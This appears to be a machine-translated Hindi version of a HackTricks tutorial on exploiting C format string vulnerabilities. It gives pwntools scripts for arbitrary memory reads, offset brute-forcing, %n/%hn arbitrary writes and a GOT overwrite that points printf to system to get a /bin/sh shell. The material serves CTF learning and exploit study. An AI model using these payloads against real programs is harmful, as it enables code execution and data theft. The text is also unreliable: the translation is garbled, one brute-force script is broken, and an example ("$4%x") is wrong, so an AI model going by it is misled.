Format Strings

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

मूल जानकारी

C में printf एक फ़ंक्शन है जिसका उपयोग किसी स्ट्रिंग को प्रिंट करने के लिए किया जा सकता है। इस फ़ंक्शन की पहली पैरामीटर है रॉ टेक्स्ट जिसमें फॉर्मेटर्स होते हैं। उम्मीदवार पैरामीटर जो रॉ टेक्स्ट से फॉर्मेटर्स को बदलने की उम्मीद करता है।

अन्य संक्रमित फ़ंक्शन हैं sprintf() और fprintf()

संक्रमण उस समय प्रकट होता है जब इस फ़ंक्शन के लिए हमलावर पाठ का पहला तर्क उपयोग किया जाता है। हमलावर एक विशेष इनपुट बना सकता है जिसमें printf फॉर्मेट स्ट्रिंग क्षमताएँ दुरुपयोग करके किसी भी डेटा को पढ़ने और लिखने के लिए किसी भी पते में (पढ़ने योग्य/लिखने योग्य) सक्षम होगा। इस तरह से विचारशील कोड को निष्पादित करने की क्षमता होगी।

फॉर्मेटर्स:

%08x> 8 hex bytes
%d> Entire
%u> Unsigned
%s> String
%p> Pointer
%n> Number of written bytes
%hn> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

उदाहरण:

  • भेद्य उदाहरण:

char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • सामान्य उपयोग:

int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • गायब तर्कसंगत:

printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
  • fprintf वंशाही:

#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}

पॉइंटर तक पहुंचना

फॉर्मेट %<n>$x, जहां n एक संख्या है, printf को इंडिकेट करने की अनुमति देता है कि वह n पैरामीटर (स्टैक से) का चयन करे। तो अगर आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं तो आप यह कर सकते हैं:

printf("%x %x %x %x")

और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं।

या आप यह कर सकते हैं:

printf("$4%x")

और सीधे चौथे को पढ़ें।

ध्यान दें कि हमलावर printf पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि जब printf को कॉल किया जाता है, तो उसका इनपुट स्टैक में होगा, जिसका मतलब है कि वह विशिष्ट मेमोरी पते स्टैक में लिख सकता है।

इस इनपुट को नियंत्रित करने वाला हमलावर, स्टैक में विचित्र पते जोड़ सकता है और printf को उन्हें एक्सेस करने की अनुमति मिलेगी। अगले खंड में यह बताया जाएगा कि इस व्यवहार का उपयोग कैसे किया जाए।

विचित्र पठन

यह संभव है कि हम %n$s फॉर्मेटर का उपयोग करें ताकि printf पते को प्राप्त कर सके जो n स्थान में स्थित है, उसके बाद और उसे एक स्ट्रिंग की तरह प्रिंट करें (0x00 पाए जाने तक प्रिंट करें)। इसलिए यदि बाइनरी का बेस पता है 0x8048000, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में 4 वें स्थान से शुरू होता है, तो बाइनरी की शुरुआत प्रिंट करना संभव है:

from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

ध्यान दें कि आप पता 0x8048000 को इनपुट की शुरुआत में नहीं रख सकते क्योंकि इस स्ट्रिंग में उस पते के अंत में 0x00 जोड़ दिया जाएगा।

ऑफसेट खोजें

अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट (0x41414141) भेज सकते हैं जिसके बाद %1$x और वैल्यू बढ़ाएं जब तक A's प्राप्त नहीं होते।

ब्रूट फोर्स प्रिंटएफ़ ऑफसेट

```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

Iterate over a range of integers

for i in range(10):

Construct a payload that includes the current integer as offset

payload = f"AAAA%{i}$x".encode()

Start a new process of the "chall" binary

p = process("./chall")

Send the payload to the process

p.sendline(payload)

Read and store the output of the process

output = p.clean()

Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output

if b"41414141" in output:

If the string is found, log the success message and break out of the loop

log.success(f"User input is at offset : {i}") break

Close the process

p.close()

</details>

### कितना उपयोगी है

किसी भी पठनीय रीड का उपयोग करने के लिए निम्नलिखित काम किये जा सकते हैं:

* **मेमोरी से** **बाइनरी** को **डंप** करें
* **संवेदनशील जानकारी स्थानों तक पहुंचें जहाँ संवेदनशील** **जानकारी** संग्रहित है (जैसे कैनारीज़, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चैलेंज**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में)

## **अनियमित लेखन**

फॉर्मेटर **`$<num>%n`** **निर्दिष्ट पते** में **इंडिकेटेड पैरामीटर** में **लिखे गए बाइट्स की संख्या** लिखता है। यदि कोई हमलावर printf के साथ जितने वर्ण लिख सकता है, तो वह **`$<num>%n`** को किसी भी संख्या को किसी भी पते में लिखने के लिए सक्षम हो जाएगा।

भाग्यशाली तौर पर, अंक 9999 लिखने के लिए, इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है, इसे करने के लिए फॉर्मेटर **`%.<num-write>%<num>$n`** का उपयोग करना संभव है ताकि **`<num-write>`** संख्या को **`num` स्थान द्वारा संकेत किए गए पते** में लिख सकें।
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

हालांकि, ध्यान दें कि आम तौर पर 0x08049724 जैसे पते लिखने के लिए (जो एक बड़ी संख्या है एक साथ लिखने के लिए), $n की बजाय $hn का उपयोग किया जाता है। इससे केवल 2 बाइट लिखने की अनुमति होती है। इसलिए यह कार्रवाई दो बार की जाती है, पहले सबसे उच्च 2B के लिए और दूसरी बार सबसे कम वाले के लिए।

इसलिए, यह सुरक्षा दोष किसी भी पते में कुछ भी लिखने की अनुमति देता है (विवेकात्मक लेखन)

इस उदाहरण में, लक्ष्य होगा किसी बाद में बुलाया जाने वाला GOT तालिका में एक कार्य के पते को अधिलेखित करना। यद्यपि इससे अन्य विवेकात्मक लेखन से नुकसान हो सकता है:

हम एक कार्य को अधिलेखित करेंगे जो अपने प्रारंभिक से उपयोगकर्ता से आर्ग्यूमेंट प्राप्त करता है और इसे system कार्य की ओर पोइंट करेंगे। जैसा कि उल्लिखित है, पता लिखने के लिए आम तौर पर 2 कदम आवश्यक होते हैं: आप पहले 2 बाइट पते का लिखते हैं और फिर दूसरे 2 को। इसे करने के लिए $hn का उपयोग किया जाता है।

  • HOB पते के 2 उच्च बाइट को बुलाया जाता है

  • LOB पते के 2 निचले बाइट को बुलाया जाता है

फिर, चाहे जैसा भी हो, आपको सबसे छोटा पहले लिखना होगा [HOB, LOB] और फिर दूसरा।

यदि HOB < LOB [पता+2][पता]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]

यदि HOB > LOB [पता+2][पता]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

Pwntools टेम्पलेट

आप इस प्रकार की सुरक्षा दोष के लिए एक उत्पीड़न तैयार करने के लिए एक टेम्पलेट यहाँ पा सकते हैं:

या यह बुनियादी उदाहरण यहाँ से मिल सकता है:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings को BOF में उपयोग करना

एक फॉर्मेट स्ट्रिंग व्यवस्थितता की कमी का उपयोग करके स्टैक के पतों में लिखना और बफर ओवरफ्लो प्रकार की भयंकरता का शोषण करना संभव है।

अन्य उदाहरण और संदर्भ

  • 32 बिट, कोई relro नहीं, कोई कैनेरी नहीं, एनएक्स, कोई पाई, फॉर्मेट स्ट्रिंग का मूल उपयोग तकनीक से झूलसने के लिए ध्वज से फ्लैग लीक करने के लिए (अनुचित निष्पादन धारा को बदलने की आवश्यकता नहीं है)

  • 32 बिट, relro, कोई कैनेरी नहीं, एनएक्स, कोई पाई, फॉर्मेट स्ट्रिंग का उपयोग करके पते fflush को जीत फ़ंक्शन (ret2win) के साथ ओवरराइट करने के लिए

  • 32 बिट, relro, कोई कैनेरी नहीं, एनएक्स, कोई पाई, फॉर्मेट स्ट्रिंग का उपयोग करके मुख्य में एक पते लिखने के लिए .fini_array में एड्रेस लिखने (ताकि फ्लो एक और बार वापस लूप करे) और system को लिखने के लिए GOT तालिका में strlen को इंजेक्ट करने के लिए। जब धारा मुख्य में वापस जाती है, strlen को उपयोगकर्ता इनपुट के साथ निष्पादित किया जाता है और system को इंजेक्ट करने के लिए strlen को इंजेक्ट करने के लिए।

Last updated